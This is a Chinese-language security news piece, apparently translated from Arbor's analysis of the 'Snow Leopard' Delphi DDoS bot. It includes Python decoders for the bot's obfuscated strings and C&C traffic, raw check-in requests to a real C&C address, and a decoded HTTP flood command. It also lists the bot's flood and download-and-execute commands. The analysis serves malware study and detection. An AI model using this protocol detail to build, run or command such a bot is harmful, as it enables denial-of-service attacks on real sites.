当前位置：主页>资讯>安全动态>

Arbor已成功拦截了雪豹病毒

发布时间:2013-12-27 13:58 作者:佚名来源:IT专家网点击:加载中...次

@malpush把Tweet中的木马雪豹暴露到了我们Arbor的无线电探测器中，此次的木马表现是在Tweet中显示一个网址，当你填入信息后，他会通往一个指令和控制面板(C&C)如下所示：

这一现象使我深信我应更深入地了解雪豹。巧合的是对于Arbor来说，这一恶意程序结果竟是DDos(分布式拒绝服务攻击)僵尸程序。

恶意程序样例

分析研究样例可以在malwr查找到 (MD5: 4fa91b76294d849d01655ffb72b30981)。

这是用Delphi编写的恶意软件包括以下几种形式： UPX填充，字符串模糊处理，反病毒机器，反调试，自我修改代码，过程挖空。

这种基于Delphi的使用和使用的面板部分的语言，很可能是起源于俄罗斯。

模糊处理

木马雪豹使用两种模糊处理方式;它们是 base64 和 XOR的联合。不同秘钥使用不同的部分。第一个模糊处理方式是用在字符串上，可以用下面的Python函数可以解码：

def decrypt_strings(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = for i in range(len(msg_no_b64)): key_lsb = ord(key[i % len(key)]) & 0xf msg_lsb = ord(msg_no_b64[i]) & 0xf c = msg_lsb ^ key_lsb d = c ^ 0xa msg_slsb = ord(msg_no_b64[i]) & 0xf0 plain_byte = msg_slsb ^ d plain_buf.append(chr(plain_byte)) return "".join(plain_buf)

下面是一些例子

>>> decrypt_strings("QG1wZ2xnPj4sZGNk", "12xc3qwfhjeryTTYHH") 'Kernel32.dll' >>> decrypt_strings("TG12RGZveGBnSG5mZ2JrQg==", "12xc3qwfhjeryTTYHH") 'GetModuleHandleA' >>> decrypt_strings("dWpkbXFqZmxi", "mu#X") 'removeone' >>> decrypt_strings("cn9tY3Nqf2d1", "mu#X") 'updatever' >>> decrypt_strings("ZXN8djotITgyOyQ0MD4mOD45Jzc5I2NmfS1kaXhzdCx+YXo=", "GMrlZ8t3pypO3423423LpFqCUx") 'http://188.190.101.13/hor/input.php'

第二种方法主要用在C&C通信上，并且可按照下面Python函数清理：

def decrypt_cnc(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = for offset, enc_byte in enumerate(msg_no_b64): plain_byte = ord(enc_byte) ^ ord(key[offset % len(key)]) plain_buf.append(chr(plain_byte)) return "".join(plain_buf)

下面是一些例子：

>>> decrypt_cnc("ChYJCRhta3k=", "\x38") '2.11 USA' >>> decrypt_cnc("DRhAAA4YeRgIXBgIUBgPVRgKAEs=", "\x38") '5 x86 A 0d 0h 7m 28s'

指令与控制

C&C是基于HTTP(超文本转移协议)。两种信息类型已经被识别出来了。第一种信息类型o或者是“背景连线通讯”就像这样：

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent:Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://mhome.br Content-Length: 106 Content-Type: application/x-www-form-urlencoded m=CA==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=&p=cHd1fQ==&v=ChYJCRhta3k=&s=DRhAAA4YeRgIXBgIUBgPVRgKAEs=

这就是它如何被解码的：

m=0&h=18803769021711750776216376939&p=HOME&v=2.11 USA&s=5 x86 A 0d 0h 7m 28s

它的POST参数是：

· m – Message type (0)

· h – Hash based on computer name

· p – Computer name

· v – Version and locale

· s – Windows version, architecture, user type, and uptime

背景连线通讯反应如下方：

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 14:48:27 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN

被解码，这是在请求中使用的用户代理

>>> decrypt_cnc("dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN", "\x38") 'Mozilla Gecko Firefox 25'

第二种信息类型是1或者“指令调查”。如下方：

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://udot.tk Content-Length: 49 Content-Type: application/x-www-form-urlencoded m=CQ==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=

被解码为：

m=1&h=18803769021711750776216376939

它的POST参数是：

· m – Message type (1)

· h – Hash based on computer name

调查反应样例：

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 12:56:16 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 72 Connection: close Content-Type: text/html; charset=UTF-8 UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=

被解码：

decrypt_cnc("UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=", "\x38") 'httpflood*http://target.net/index.php/*80*150*0'

指令被多个“*”限定，如下面格式：

command*arg1*arg2*arg3*arg4*arg5*arg6*arg7

指令

下面的bot(网络爬虫)指令已被识别：

· httpflood – HTTP GET flood

· httppost – HTTP POST flood

· udpflood – UDP flood

· synflood – TCP connect flood

· tcpflood – TCP flood

· download – download and execute (all bots)